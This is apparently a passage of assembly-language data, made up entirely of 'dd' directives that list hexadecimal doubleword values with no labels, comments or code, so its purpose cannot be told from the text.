dd 69B63F4Ch, 0F3B5F18h, 7424A928h, 0DDDBEB70h, 0C56A6480h
dd 96274A70h, 0F63FC27Ah, 0AC5C2708h, 11B46D6h, 6B4F8DA1h
dd 74E4EF40h, 20534A50h, 34A2F003h, 8649A800h, 7C8344C5h
dd 0D095016Fh, 53316951h, 14E13E5Fh, 6E3EE321h, 96958EDh
dd 0FB12AD8Dh, 5D18B15Dh, 1610132h, 8F4E3578h, 0BB660403h
dd 12AEC472h, 8DDAE277h, 847B2934h, 0E9A0468Fh, 37BF1744h
dd 1DFE0166h, 0FC830CEBh, 294BD2B1h, 0E35AF1E8h, 9D09BBF2h
dd 71BD1CB9h, 9BB3B484h, 0CEA7CBE8h, 377AAB93h, 9BF0FA00h
dd 339E9636h, 0BC21604Fh, 26DC7AB6h, 57B10203h, 23ABB93Ah
dd 0FC859152h, 607B7098h, 0EBD10CBFh, 0C12E3A22h, 10A3B295h
dd 923A31h, 3071EDCCh, 6A830A3Fh, 0BFD4189Dh, 4E057B1Bh
dd 81258C03h, 0BBBCEF04h, 71AF4912h, 21E65F3h, 444E650h
dd 7D4E7B03h, 8A72C180h, 0BA343F62h, 69C762DAh, 657CD048h
dd 68179EBDh, 228260A8h, 1C84090Ah, 616BD209h, 555F5Ch
dd 0BF770F51h, 84314A5Ah, 2099E81Dh, 0AD4B9D2Eh, 0A5E77618h
dd 0B350BDE5h, 0BAEE07FCh, 72D13848h, 0B174DA8Bh, 9717D86Bh
dd 0EB808D98h, 0F723D373h, 23D1278Ah, 41A50901h, 3A8C0Eh
dd 0ED51BF6Fh, 99D30ADh
dd 9F0F374Bh, 0B76AF8Eh, 5B52960h, 6E169D2Fh, 0D760BCADh
dd 4EF58D09h, 44469D29h, 0AEB7BB7Bh, 9A0A4400h, 60B25519h
dd 296EDB0Ch, 95FC7C28h, 7B2D0ECh, 5AF75F4Fh, 4E09F110h
dd 4470F681h, 9120FA15h, 7488D474h, 5D5B003Ah, 4FD093DFh
dd 15054294h, 79CD3804h, 0C1A38Ch, 0AC5723E0h, 15C8944Dh
dd 0B379F273h, 0F5D2FC09h, 1B513Ah, 707CD6BCh, 2C0E6BFBh
dd 325FE136h, 938088BCh, 0F0C024B8h, 2E08A101h, 3A0E8760h
dd 0F5202A19h, 5C3395h, 0FF42A668h, 0B64D66D2h, 4A37D727h
dd 0D015F357h, 0D0093EAh, 0D217F168h, 974C5F0Eh, 0D88B1698h
dd 0D17342B0h, 5A7E1C9Dh, 0C02C9E3Bh, 49258B26h, 39731359h
dd 83A221h, 1ED6DEEAh, 422373Dh, 4D363072h, 0D1C2FBFCh
dd 99E7A8DAh, 125B56CBh, 0D444E921h, 40653865h, 53CCD209h
dd 0B272A631h, 45D8331Dh, 7226B953h, 0A73D0835h, 8A31E00Ah
dd 231A9DD8h, 4A51F95Ch, 0B1EFA73Bh, 0BCC92FBh, 295C0493h
dd 930919Dh, 65770157h, 603A5F95h, 0C6DFB700h, 7A87B283h
dd 0C7D0B527h, 915D920h, 0B5F3805Bh, 7CEBFC79h, 7300D47Bh
dd 0BE3693A5h, 4B9D8B9Fh, 2D1CFD51h, 58B778BAh, 78646FF5h
dd 0D874AF78h, 68A8CDADh, 5DBC5825h, 6E568509h, 0A0A200DCh
dd 473FA352h, 0C54EDD6Eh, 38E0B8C9h, 3D960387h, 0FDCBA7FFh
dd 802022E8h, 6A5FF517h, 2CF00CE6h, 4E28B3F1h, 0C027E025h
dd 1F993A8h, 3BB21E16h, 0A6981457h, 0FDE4762h, 0AE0AC0BEh
dd 79706AE2h, 0DC2AB881h, 1E492EE8h, 0F3447F22h, 0AF5997h
dd 48C203C9h, 0B0FFB50h, 40A671CBh, 60B08A95h, 0B51A7D29h
dd 18A9AA60h, 375BB7h, 39E678A6h, 0EE00ABDEh, 19ED44EFh
dd 62F3DC6h, 0F9A1857h, 7FBED226h, 2308FC40h, 5CC7023Fh
dd 0EA599EBCh, 0C225DF09h, 0D79EAB5Fh, 0F4890196h, 2F55738Ah
dd 47E67474h, 705ED2A2h, 40F8B7C2h, 0B52E11AAh, 66ABD871h
dd 4B828358h, 2D7FCA61h, 0D94D73BCh, 0B2D9FE28h, 340AF00h
dd 0F4F61DABh, 6D5900FBh, 0BBFD812Bh, 379D026Ah, 3A42014Fh
dd 2AF898C6h, 2C821D1Ch, 77713310h, 58CC782h, 0E007B820h
dd 0D4344B4Ch, 0C0349B0Fh, 76680CE2h, 19D2EDDh, 0E8191205h
dd 2A9B475h, 800515A8h, 82D2E350h, 0E9D9DEC0h, 83E7B5DFh
dd 21DC3408h, 586580B0h, 5FC12513h, 63A01900h, 0DADFCE2Ch
dd 9D8495F3h, 0CB99BD23h, 0F15072F9h, 0E6608A57h, 977ED838h
dd 3FDD6489h, 0E3AC178Dh, 63994B0Ah, 1240F73Eh, 9BFF2115h
dd 0F2B69242h, 8919B109h, 0AA2D8C05h, 0A395C6D8h, 5FCAD8DAh
dd 784CE6A8h, 9F630B7Bh, 0B974A9A0h, 558FCA6Eh, 0FF120124h
dd 3104506Fh, 0A8CCF8AAh, 880F1375h, 0BB9E31BBh, 150E701Fh
dd 0ED4A1E4Eh, 7CBB8485h, 59B914EBh, 0B043DE8Ch, 7D14B3E0h
dd 22F170E6h, 9F71E4C9h, 1A33AC10h, 21879900h, 3DDBA52Bh
dd 0AF2C2FD2h, 249762F2h, 854B351h, 0F189B512h, 3986894Fh
dd 0CC037401h, 934FCBBCh, 0AB7DD8h, 493E19F5h, 64E5D2CCh
dd 9EEEB77Eh, 0E4B5C77h, 219510A4h, 1852309h, 0B2B0D5B5h
dd 0BFC80E2Bh, 2DBC68B0h, 0D0BF6F7Ah, 379AC4F9h, 2B7FA1FFh
dd 456D87DDh, 50F18516h, 0AD278AFDh, 12272C55h, 278521BDh
dd 32D44B38h, 5B502901h, 0F8B2DE9h, 9ADD29B3h, 4814D71Bh
dd 0BE41598h, 15A51FCAh, 1B92FE14h, 4AF09EAAh, 0A04DB892h
dd 0F7E856A0h, 35A36E3Eh, 0F3FD38C2h, 18C59D82h, 7252535Fh
dd 5B00AF7Bh, 510FDB1Fh, 0B9EF0B2Eh, 0F55607BDh, 8D3E00F4h
dd 85B01516h, 68252C65h, 7D19E296h, 0F989A90Eh, 37DFD46Ah
dd 0CE384FDh, 0E2D9099Bh, 0A7E056DDh, 9DEC7DEh, 0A8DF2CE2h
dd 0C6074222h, 82D0B402h, 0D7AE5EEFh, 854EBBB4h, 0EEC58388h
dd 0C85F4FBEh, 2E02CA44h, 15BC6912h, 7016FBDEh, 5300CBDDh
dd 0C7A964E7h, 12892F16h, 0E618B185h, 0DA8A04D8h, 0F3E6E380h
dd 5AC18650h, 0BC8AB91Eh, 2179317h, 58F394CEh, 596C0957h
dd 80275B7Dh, 53BB8B95h, 0E0F67022h, 0C5CBCE25h, 1681164h
dd 0F16FD781h, 2F2374CEh, 407E0925h, 0A5887325h, 96C27B6Dh
dd 18615F4Eh, 3957D2D4h, 0AB5111BBh, 6E7BE1FFh, 0D8371F72h
dd 0DA0CF404h, 98A16CB8h, 5B55C204h, 0BF4170EDh, 6A3D6314h
dd 75CA4ADBh, 85318871h, 79308D2Dh, 463BC4BCh, 25F460FCh
dd 94792C41h, 0B3810F09h, 1BB8CCD2h, 25F6E4Ah, 54FB5BAAh
dd 2548D637h, 1941168h, 0D10A5397h, 0B54FAFA4h, 84159121h
dd 0DB9701Eh, 0A016B74Eh, 74ED552h, 9771CAB7h, 97847B63h
dd 2CC8531Bh, 2F1900E4h, 14083773h, 600B20Bh, 75F0340Ah
dd 4AFBF88Fh, 5F83F013h, 189EC19Dh, 0FAE18D11h, 4BCC9004h
dd 8702092Fh, 0A175D280h, 0AA08BF0Ah, 8164B5DAh, 4CB7F086h
dd 0EA7C8D6h, 5D881A5Bh, 0DD51005Ch, 4D85089Eh, 724AE153h
dd 70C25AFBh, 3570AA5Bh, 6F3B01EAh, 0E4AF1D1Ah, 7D8B30A3h
dd 57BC204Ah, 31FAB3E1h, 504DA858h, 0DE5524EDh, 0EF8135A2h
dd 28584EC4h, 709B8026h, 0FE694CC0h, 23EFCEAh, 675BF610h
dd 43C073CFh, 599532A9h, 0A64DC930h, 77191247h, 6E56089Ah
dd 0E912B46Dh, 0C3E90109h, 0BA600001h, 133619E6h, 4312353h
dd 0AC3AC4EBh, 0E1494655h, 242EA5FDh, 0F291B63Ch, 0FD7122h
dd 817EF96Ch, 0D60005DAh, 74B5240Bh, 25F35A0Ch, 7AD2E7C6h
dd 0D89853B5h, 0F25E1E6h, 2025D087h, 0F84B01F5h, 0FDEA698Dh
dd 9F55440Bh, 90199587h, 824B5D80h, 55178659h, 0F5979531h
dd 0D4BB8D44h, 88389B18h, 0A541C01Ch, 9B00E009h, 61928106h
dd 342958B3h, 0AC65359Dh, 2D12665Fh, 25819583h, 0DA507BBBh
dd 0EE012541h, 0FB96A876h, 0F081B8BDh, 882D2A8Ah, 32F128h
dd 0DE27D668h, 539F6082h, 47D71EA9h, 19615953h, 2902E876h
dd 557D40DCh, 1314D004h, 894A33B8h, 0D86F2BD3h, 0E8E46600h
dd 0E76D5D31h, 61FBAE4Eh, 22DC9CEh, 11987F50h, 0D3B0E37Bh
dd 0B6BD0D02h, 77CEAF47h, 0E57B80A9h, 49AFD170h, 3382F328h
dd 2BF7F1BDh, 0C094CD0Ch, 0BC8B0F35h, 0EE13F4Fh, 0FC3B83DDh
dd 0F9B8D257h, 0A837B9B5h, 89D62776h, 6795D850h, 9E4A16ECh
dd 51F4C004h, 5E8D9509h, 4D08E60Ah, 0BC9DBCD7h, 0BD171625h
dd 1888BA3Eh, 0B8281FC0h, 60C42D63h, 4692D54h, 51D1A584h
dd 36603161h, 3479725h, 0BD4C9211h, 9E17ADC0h, 7B004742h
dd 36C3EF2h, 29AC9837h, 62FFE67Ch, 3CF40471h, 4373F4h
dd 48EBB9FAh, 0C4674AE3h, 16505B95h, 2C37EE84h, 21FC10D1h
dd 3D009D2Eh, 4FE2A804h, 584F200Ah, 0A700D649h, 4CAD028h
dd 40B9D47h, 39FE03E5h, 92C1AC06h, 2BC88F9h, 26A6DF4Bh
dd 0A3117B2h, 9FDD25E0h, 72DCBE1h, 5396DF60h, 0AE82260h
dd 8500FF7Ah, 7D6E94Ah, 985AC126h, 3E40BFBCh, 962FFE8Bh
dd 82CDC52h, 5B1C07ADh, 0A7515349h, 558B5FF4h, 19946A35h
dd 13BB807Bh, 5F6FD2BEh, 75F2040Bh, 50BD5212h, 0F16BD2h
dd 8E2ECE2Dh, 4EE47611h, 78A8238h, 755A9A5Ch, 4E254D35h
dd 0C0279FACh, 9E732973h, 70F8DF89h, 484FB59Fh, 1129D76Bh
dd 0C89647F8h, 11BD0160h, 2644971Fh, 0C00D9A6h, 1AEE9CA0h
dd 0E4B532D6h, 0FA1B01D2h, 0FFB914Bh, 25C1638Dh, 54CEC2DFh
dd 5700DC34h, 0B9781F02h, 483FDD9h, 9D8B40C7h, 3E39BA0Dh
dd 1DA8736Dh, 2BF3B503h, 0A4F511DFh, 0B315EC2h, 2E19BBC1h
dd 4280DC75h, 3B7EC51Eh
dd 383596BFh, 94997DFh, 6D6BB159h, 0C53440ECh, 0FD2F125Ah
dd 5EE61ACEh, 0EB86444Ch, 16B3C4E0h, 0E0965BB1h, 0BB7160F3h
dd 8F9C2F3Eh, 0B661FFB5h, 402CEE2h, 0EA781AB0h, 5D5257h
dd 3D92C5BCh, 0E0FB8783h, 857FBED6h, 5F68FB07h, 0F8CF10E6h
dd 0CB0481BBh, 24BEC559h, 0F8D7DEB8h, 0C70925B2h, 38781CB1h
dd 0AC6EFE4Bh, 0F261B500h, 0C10D4BCh, 0C056364Ch, 70449479h
dd 0E31F04B3h, 0AEC90613h, 36CD6821h, 0FF98C0h, 0EBE16AA8h
dd 93706450h, 0D3EF5302h, 57A9F0D8h, 0ADDC2842h, 0E6BB0FBAh
dd 3FE636E2h, 104802E0h, 62B88E2h, 1C2EC0A0h, 0E05E2610h
dd 34B80D6h, 1715F38Dh, 93BCFDA9h, 0DA73A53Ah, 795213B1h
dd 63A5D5Fh, 60F7ED75h, 8529CF49h, 0B5D9FABDh, 5EC9E25Bh
dd 0E007D48Fh, 47351328h, 1632B1E1h, 2389C489h, 0BFE00474h
dd 7427F8C6h, 0E038AD62h, 0CB3FF77Ah, 339F504h, 0F90536F2h
dd 146DBA05h, 2816A2Ah, 0E909ADFCh, 0E005D07h, 298ED0BBh
dd 0C18B0816h, 139E56Fh, 0F5EF2570h, 3DDF37EAh, 7E470032h
dd 95903ABBh, 91502F2Fh, 0A77B9282h, 0E5A45AD3h, 6EFA60BFh
dd 0BA5B509h, 0F0AC7B95h, 7AFB146Eh, 3019B308h, 0E8EBCBD6h
dd 90D35B9Bh, 9119A92h, 0D4843FEAh, 859160FFh, 410E453Dh
dd 0AD99CDF5h, 0C0126DD7h, 0EFB658Ah, 82BD664Ah, 20998582h
dd 0B923DE18h, 0B014B560h, 3A4B90FDh, 9A3FE09Dh, 0AB6F8051h
dd 9BFF549h, 0E273062h, 0BB80E871h, 2FE2B517h, 0B0D15FFFh
dd 2B4409FCh, 0B4F3B060h, 31F067A4h, 2E53ECB8h, 8B80DD2Ch
dd 0DBA1463Dh, 6A4A01A3h, 0D78340B9h, 1FC99600h, 68BB9031h
dd 0B756F0FEh, 8F77460Bh, 13D6B40Ch, 0A2BC4503h, 717CC85Ah
dd 0F3C99C01h, 9D0B8C7Fh, 5FFED26Fh, 91E4B5DFh, 54558117h
dd 206E56F9h, 48C94A2h, 47AC1117h, 0A1B3A212h, 0ABEBD587h
dd 81B837F5h, 0F2E98EB6h, 0C3205AB4h, 81CA84F5h, 0E62356ECh
dd 7EDF007Dh, 0E5D8CE2Fh, 5B5B78F2h, 1AB21FA6h, 5F88730h
dd 0DAC82303h, 17D2E876h, 5D0E17B3h, 58614553h, 30ECE313h
dd 0D01FFCD2h, 20EE4EE7h, 55D9BFBEh, 0EC21B025h, 0CE82BD12h
dd 24FC1815h, 0B28E71C0h, 2E9E39CBh, 0B95E1B27h, 8CB75FC9h
dd 2DF6D798h, 4B860257h, 0D88A80DDh, 100DE5D5h, 0EA6A262Ch
dd 9209A21Dh, 40B77C65h, 0C8CA3C89h, 179D7B00h, 0E9BE788Eh
dd 42CDB202h, 0EDB50920h, 993DD50Ah, 0B70FB104h, 234DDCABh
dd 1D9C0141h, 0DC8A00B0h, 0E4F970E6h, 0ADBF7102h, 5C289A4Fh
dd 0AF0A93D3h, 95619E37h, 0DC6B26A5h, 5BB0DED2h, 5B526016h
dd 0E83B7D89h, 88ABE4CCh, 22A08131h, 0E5348D01h, 0AFC8A913h
dd 2B70276h, 4D287ABFh, 5AB7877h, 799531C8h, 0ED5FAF22h
dd 0D76BBF45h, 0A1EE61AFh, 0E1AD0827h, 0C8668212h, 15C9BD16h
dd 14C8D7BCh, 0C36D778Fh, 0D07D7AE2h, 882BAEh, 0D343015Bh
dd 66E0DE2Ch, 514AE37Ah, 8CA63B25h, 0DC943106h, 5ED9025Bh
dd 0DD6BDA94h, 85FF60C4h, 53F91464h, 0EA570149h, 0CE795535h
dd 86977C24h, 41562AD2h, 222F5FA7h, 2D2F3214h, 0B76A36A5h
dd 615200F6h, 1424FC71h, 0BB4007B7h, 20A64F72h, 6F7B428Ah
dd 70E3DA20h, 0EF058AADh, 0E295129Dh, 6072842Ah, 1E73AC12h
dd 75C809DBh, 0DF808235h, 0FE046A84h, 23256BAFh, 0E72C0516h
dd 0A2CCFEB7h, 75EF860h, 2FB961FCh, 0B7FD0909h, 0BD98029h
dd 0D69345C1h, 0CEB7CEC6h, 61C92FD4h, 0C3A5F7F9h, 2027E23h
dd 3359A30Dh, 6D7DC02Bh, 63BCE084h, 0DE00C6E8h, 0FABBFD5Ah
dd 0BD6F2A72h, 113890E0h, 7B95BA70h, 48DDDAA0h, 5C5291ECh
dd 2916430Ah, 0B00DE925h, 0E155BD8Bh, 4BC48A2Bh, 80816A9Ah
dd 6002BCC0h, 0F4F35D6h, 0EBE24237h, 0DFCED567h, 0C825AA71h
dd 59290909h, 8D9D70EEh, 5037BB86h, 690582BBh, 2629BD09h
dd 56BD38AFh, 6FAA30D6h, 484839h, 0F49B7EB3h, 2E016F55h
dd 0A54CBDB5h, 3A9746E6h, 0D6837611h, 80E1FF04h, 0E1B8ABD7h
dd 3E0428A1h, 1225B17Ah, 1A09DBC5h, 0F4E35C04h, 5453AA13h
dd 525D5ECh, 0B318F9C7h, 0B7896055h, 617851C4h, 4BFD38D0h
dd 4489008Ch, 9098600Ah, 1558DF0h, 0E180DCB5h, 576E045Ah
dd 6F28AB4Eh, 70D70481h, 0BD36B3DCh, 1707C0Fh, 785C73B7h
dd 0C2B58B47h, 1CB55521h, 8F891B91h, 2BD34077h, 5A52904Ah
dd 5AD3FDB5h, 7750F2h, 9BB32C96h, 0A4BAD2EBh, 61997495h
dd 2F5FF8B7h, 0C41C3434h, 0D45F3150h, 7A39F810h, 44407C9Dh
dd 97A2BB60h, 591A04Bh, 51728A95h, 0A0B0C313h, 42688009h
dd 58CB023Ch, 0E8015F75h, 265401BDh, 427C28A7h, 0D6A656ADh
dd 0EA7730BFh, 0CA8C09BBh, 100429A5h, 9A8AEBE9h, 8E15C84Ah
dd 9A715700h, 0CC82443Eh, 0BB5801FDh, 1D6B6AAAh, 86EA6036h
dd 0B9601A44h, 29E087F8h, 0C950E29Ah, 9D7A467Fh, 0B014802h
dd 9E96100h, 9BBDB702h, 10ED0500h, 25116D8Fh, 835EFE8Ah
dd 0A1DB5C1h, 0BD9A4E0Eh, 7739C181h, 0E5127067h, 88D97EFFh
dd 92DDA66Bh, 9573A5B2h, 6A9BE86Eh, 2F73C58h, 0E205EEE1h
dd 0E4F7891Eh, 2DE1805Fh, 0A71A971Ah, 25509853h, 12897E72h
dd 0BEB509B3h, 880FC1C1h, 0C1ACA93Bh, 0A2CD83E3h, 9267603Ah
dd 0FF02A8DAh, 69A9BE38h, 0C8E74DF9h, 0F750607Bh, 4612E715h
dd 0B5E1A8BCh, 0C281543Bh, 2466602Dh, 0B9004DB9h, 0CB5DAFACh
dd 6AB402D3h, 6158DAB5h, 0BF10A270h, 855E5C60h, 0FFF8093Dh
dd 0F592CB71h, 7A7F39AFh, 0F72A8F89h, 259E03C3h, 80EFAAAEh
dd 0DB5B39B3h, 6A3CAC6Dh, 0C59F7650h, 0A037006Dh, 7341B011h
dd 77DF2100h, 82F3D63Dh, 0B547EE71h, 1F90E871h, 8EFB4878h
dd 2B08E593h, 1523F56Bh, 4A9AF10Ch, 0BFE8C090h, 222DF79h
dd 0DBBC7CEh, 81F8C912h, 6FA213B7h, 0B821F990h, 18330091h
dd 5F6FE686h, 6E4DF0E7h, 5C618971h, 0AC2212CCh, 0A582F4BAh
dd 51A556FEh, 85872C17h, 65AF01C1h, 8908FE6Ah, 0D4223702h
dd 0EE71B832h, 633EC390h, 22418ACBh, 42F89D0Ah, 32CE354Bh
dd 9D9FF728h, 380FB37h, 88A82DFFh, 654B168Eh, 0F526BC92h
dd 152593A8h, 5EA52165h, 0CC12D47Dh, 0FBB7B80Fh, 4096A5Eh
dd 5030B83Fh, 0BB6B8CBEh, 0AE57C909h, 9D04AA22h, 894A2CDEh
dd 9050B0Eh, 17E45FEDh, 59507660h, 29B1644Ah, 1BC7C53Fh
dd 0E085E12h, 2F2EC585h, 6113F235h, 0AD6624AEh, 5C62E8FDh
dd 0DF1F6EA5h, 14CD65E5h, 0B3621464h, 0B88A9055h, 24D316FBh
dd 636BAE7Dh, 84701C38h, 719F7A00h, 0DB4C2A52h, 0FC3308BAh
dd 57C9DF8Bh, 0F84B1A64h, 6660D732h, 0CCA300F8h, 7AC67C8Ch
dd 44002799h, 72B3F565h, 328D2957h, 58340F15h, 6104045Dh
dd 0B64A32B8h, 0BBDE071h, 340197C5h, 6A399D03h, 0B6A52EE7h
dd 0B7DB1235h, 0E71653AFh, 0D7F9B22Ch, 61F3EC0Bh, 2F98DD0h
dd 0EE7B63FDh, 14636BFh, 0B4195B04h, 9FBD21E8h, 178C1AACh
dd 0BF830398h, 98F5784Bh, 1C6BCB12h, 0C13A205Ch, 79223CA1h
dd 0C098785Bh, 1EBBF381h, 81274F18h, 6BB937EAh, 0E4F08Ch
dd 58AF858h, 8C175B06h, 5F4ED977h, 2FBD6FE9h, 0A692E2BCh
dd 0E5BD129Ah, 0DA2A02B1h, 0C716C815h, 816BF5DAh, 2E44C828h
dd 8B285328h, 18717610h, 0B3569602h, 0A2615F9Eh, 7C2BCA81h
dd 41794B5Eh, 0A3829B68h, 5509B75Fh, 1791D3B5h, 0E8BB2681h
dd 173D2EEEh, 1310F37Fh, 28AE8D85h, 0FC02BFBAh, 513C264Ch
dd 53E0565Fh, 420956F4h
dd 0BB14D765h, 7BF2F2EDh, 0E0F7C65Fh, 583C97A0h, 0E4D0E025h
dd 843D2F66h, 0C3FE5294h, 7A608B04h, 0CAAC9073h, 6E2B5h
dd 0D90D2B9h, 7DE5FE17h, 0F42F1C98h, 324065FFh, 8B2ECFB2h
dd 1DDE03C1h, 41708B33h, 0E21DFFB3h, 0A2213A46h, 0CEC8B09Dh
dd 4FD200DEh, 5587CD06h, 19254710h, 68D16D78h, 5E96E098h
dd 0B45F4394h, 0BF50A430h, 4B4113E7h, 0A0BA8554h, 0ABA6FE66h
dd 0F87FBF00h, 95CB1F4Bh, 318F1D24h, 301D43DAh, 6DC8036Bh
dd 0D3B56A61h, 0FC5E78A0h, 9C2DEB09h, 155100A5h, 5B3A0EB5h
dd 616F6Ah, 4F6FD6C1h, 0A0053E3Dh, 98FB719Eh, 0D551BFFBh
dd 58FE8A89h, 0C38013E9h, 200EEF8Ch, 0F5A69250h, 1E85BBE0h
dd 0EE91211h, 80D4AD1Fh, 6677E274h, 4F040DD8h, 0C77996EBh
dd 2917AAEh, 1BFD2161h, 1637741Fh, 9A7AFA6Ah, 371CD802h
dd 9AF7B70Bh, 0B587F0E5h, 0D42C8065h, 0D70AD109h, 35976A16h
dd 48A30240h, 0C45DE60Bh, 0FEAC391Ch, 16D5AA04h, 0ECF3BA6Dh
dd 25A09D3Dh, 2BB5F38h, 0FF36D666h, 8BB7D7D1h, 0AFC76802h
dd 514E5C4Eh, 6F5FC2D8h, 0BBAE402Ch, 7205BC90h, 30A108DAh
dd 0AC10481h, 0F273F32Ah, 95A0301Bh, 8892B04h, 30AF5686h
dd 0C9817F2Bh, 745DEE00h, 996D4714h, 58970030h, 0D86E28F5h
dd 368AC05h, 82A5E486h, 0D18F0F53h, 0EFA2A5BCh, 5004F6E4h
dd 0C10864ABh, 7990C8E6h, 9748B805h, 0AE026884h, 0B41A472Dh
dd 0A36CDEC0h, 0FD028631h, 0E9B989DAh, 70A65CC4h, 0C982FB7Bh
dd 742EDEBBh, 0A0C2B65Ah, 55DF4Fh, 0FECB52D8h, 29419B31h
dd 2083F19Fh, 31089CB1h, 51869F6h, 2E270CACh, 0BF50B55Ch
dd 885216BAh, 0B8A6B920h, 6A0C8C18h, 7F47214Bh, 0E2204AF1h
dd 3FE69D5Dh, 1222FCDEh, 1CBA7F71h, 81100016h, 845CCCC7h
dd 0B270E5Ch, 0D3E402D5h, 0EC397981h, 0A2482287h, 268510FAh
dd 0C2F8E84Eh, 5C95CF80h, 5253C455h, 1690511Fh, 0E5BAA15Ah
dd 0D7D90709h, 0B06184C8h, 92E78E1h, 5C1D13DEh, 0D6FB1F52h
dd 1F4FC871h, 40036700h, 91D65B17h, 3C4E12D8h, 1877E421h
dd 0B1FD048Ah, 0AA221253h, 5C6909D2h, 8157E07Fh, 0A70B52C3h
dd 855B1847h, 0F41E827h, 0C80E45EAh, 0B5A4A03Ah, 0F82E2A45h
dd 1AAB93DAh, 0A30038B6h, 0ADFCD7C3h, 79857E4Bh, 0B84AAFA8h
dd 0D99D1569h, 0E1B31FF9h, 0DE8AD105h, 2827E5E2h, 431374F3h
dd 95C372BBh, 0E95BA0A1h, 0A05978A0h, 7FDCE2A3h, 2305013Bh
dd 861CF9EAh, 5EDE69F2h, 5E08E682h, 2B4D62C2h, 0A9D52907h
dd 0B01852FBh, 8D6F5AAh, 1EEE30AEh, 27005FAFh, 0F41CA7BAh
dd 25C4FFA4h, 8FCBB42Fh, 8D014194h, 49122299h, 0CA07542Ah
dd 0FFF68BF4h, 0F37E9503h, 70959D62h, 3569540h, 0EA28BBE0h
dd 500C7EBDh, 48FE20A5h, 6C4036F9h, 4DBD3933h, 0A331E4A5h
dd 87DF02Bh, 13851497h, 0EFE87A5Bh, 0BB0ED16Fh, 8BAE63F9h
dd 0E873FD96h, 0D3BA17FBh, 0AE2312F5h, 1923A16Bh, 0A49A1700h
dd 2A96F615h, 8DCBDCB9h, 56856070h, 9714C4h, 4FCF819Fh
dd 49F93BDAh, 5FF55182h, 0B755C02Bh, 0CD80012Bh, 68065C51h
dd 1385100Eh, 0A4758B27h, 0A3B861ACh, 9112F490h, 0D381E612h
dd 7B25C8h, 1F84685Ah, 9EF21B4Ah, 0C49AB70Eh, 88C2058h
dd 4BDAC3D3h, 1624BCDFh, 78A7880Dh, 0CEE0B9B2h, 760B2CABh
dd 0DD4CED89h, 35777B0Bh, 9ECCA528h, 37951412h, 0E9CB83EDh
dd 99088671h, 0DF723201h, 0E46BCB5Ch, 42B00085h, 8CDCED19h
dd 0B2009BECh, 64DDC776h, 4BC5D42Fh, 0D2D88A3Ah, 0C00B4F2h
dd 8D88BDD7h, 650B7B30h, 5FD66382h, 0BB02CE14h, 1E5631B9h
dd 9927E5Bh, 0D2717ECEh, 5756FA4Fh, 0F570BCD3h, 2B060955h
dd 3ECAEDE0h, 0FB452A74h, 977496E9h, 2EFCD811h, 59EDD975h
dd 714AB5A8h, 176A2CAEh, 950D508Ah, 15EDBE94h, 0D816A04h
dd 0D9E2A0B8h, 6C616B2Ah, 4FCC2A72h, 8E8600F0h, 0C802F639h
dd 7C077F23h, 0D906A34Bh, 20AB6054h, 1A043F41h, 0DB5A2407h
dd 86815CB8h, 95303A63h, 0ABB358FBh, 0ADC2C54Ah, 0B4B8E8h
dd 4A0F0E02h, 0E93D43EBh, 73A210EFh, 0C9E10058h, 0A440FA8Eh
dd 0C5122FFBh, 0E8E171E3h, 5A49D820h, 22E3B318h, 0A1D89D39h
dd 617BA495h, 0C883DAABh, 0CC87C01Ch, 1E3E5F50h, 886392C4h
dd 14ACC2B9h, 0F14B518Ch, 98DBE60h, 504AF309h, 40744FFDh
dd 0AB070137h, 4D13615Bh, 5407AAEh, 858913DBh, 0BDB788EEh
dd 522D120h, 587D068h, 1FCB8106h, 0B5C03F0Fh, 0F71A842Fh
dd 9175E161h, 0B254A62Ah, 0A643018h, 0D72CBA12h, 0B26DD4E1h
dd 0E84231ECh, 0D791AF02h, 0C359F2A8h, 1CE26300h, 7A31B61h
dd 0F03309D6h, 6C8EB27Ah, 0E246F781h, 0B0A37021h, 0EABB0140h
dd 307B2510h, 6F55BFC2h, 2B1F6147h, 200BC14Bh, 3A9726E6h
dd 4034FCDEh, 15393F35h, 8BB6A91Dh, 0E0895300h, 25A7D01Bh
dd 0BDC48372h, 0DE1BBCh, 7852BF6Ah, 72FADF2h, 71093978h
dd 552EC1F1h, 384B14CDh, 2E41C45Ah, 2CE0553Fh, 0C7A2DDDh
dd 0D4D55C95h, 1AC11BBCh, 723C28EEh, 0BB071820h, 10DA7337h
dd 0A6EA46B4h, 2D7E06Ah, 5349019Fh, 62C745FDh, 1C076F89h
dd 34651D7Bh, 25C26FAAh, 696A7E08h, 56CD9AD5h, 2F7E6AC7h
dd 6804CE72h, 4C7A03B9h, 8346BC93h, 0DBAABD65h, 612ACEBFh
dd 0F9900823h, 0F2A3342Eh, 0C97E6FA6h, 97E91C05h, 0EF015CB5h
dd 0E27FE905h, 352E8C6Ah, 0D5004C71h, 53B9D2D8h, 4D04E6ADh
dd 0DEBC8561h, 0E4450817h, 159D4702h, 7AA45C2Eh, 0B12E1D4h
dd 368E19E3h, 8C1BF810h, 0E63548h, 2DF8C154h, 0C4AAB33Bh
dd 1317F990h, 0A17561ABh, 5AFD0E16h, 2B8DC0A4h, 365DAE1h
dd 535FBBCBh, 0FFD4603Bh, 0DBEAA725h, 4870C072h, 4BB363CEh
dd 2210CAB2h, 3490B56Fh, 7905599Fh, 91FAF9B0h, 0A156FD2Ch
dd 0E100519h, 4600412Dh, 0FAEB81E6h, 0B5539ECFh, 0BF50E645h
dd 337F05A6h, 0AB31819Dh, 0B02C479Dh, 0E153182Dh, 64181C79h
dd 0D0883A00h, 0A3D108EAh, 0E9B32584h, 0BC2EEEh, 483E01D4h
dd 6E6199DCh, 0B56720D7h, 25601244h, 347E81B6h, 4097D12Fh
dd 385FDA43h, 7188F09Dh, 4CA79A61h, 27254509h, 0D897704Eh
dd 0B83930A0h, 5777E08h, 0E88D304Bh, 97195720h, 0B956BF89h
dd 161446D6h, 62BFF97Bh, 0F87D9D93h, 0CF99958Ah, 0D2F6A550h
dd 0B556D2EAh, 3EE63BB0h, 1BC4FBF0h, 9D74A416h, 4DE36BEBh
dd 0BAE3CC34h, 0BD064AE9h, 177DFC25h, 0EB79BF97h, 36E34C53h
dd 60D8C24Ah, 79B98EC0h, 0F95B2A27h, 0E95C2D38h, 0A9346EE3h
dd 392C76BCh, 800A68Fh, 5A1F5463h, 56018400h, 7F269DD8h
dd 61E9F319h, 0DA02742Fh, 88AAD642h, 0F7288085h, 814ADFB1h
dd 99A72FBCh, 77190D8Bh, 484AFEB7h, 0A70B3D57h, 5F4332DDh
dd 0DA5062C5h, 0FBC8034Ah, 10180D43h, 3CEF80D8h, 7A20964Ah
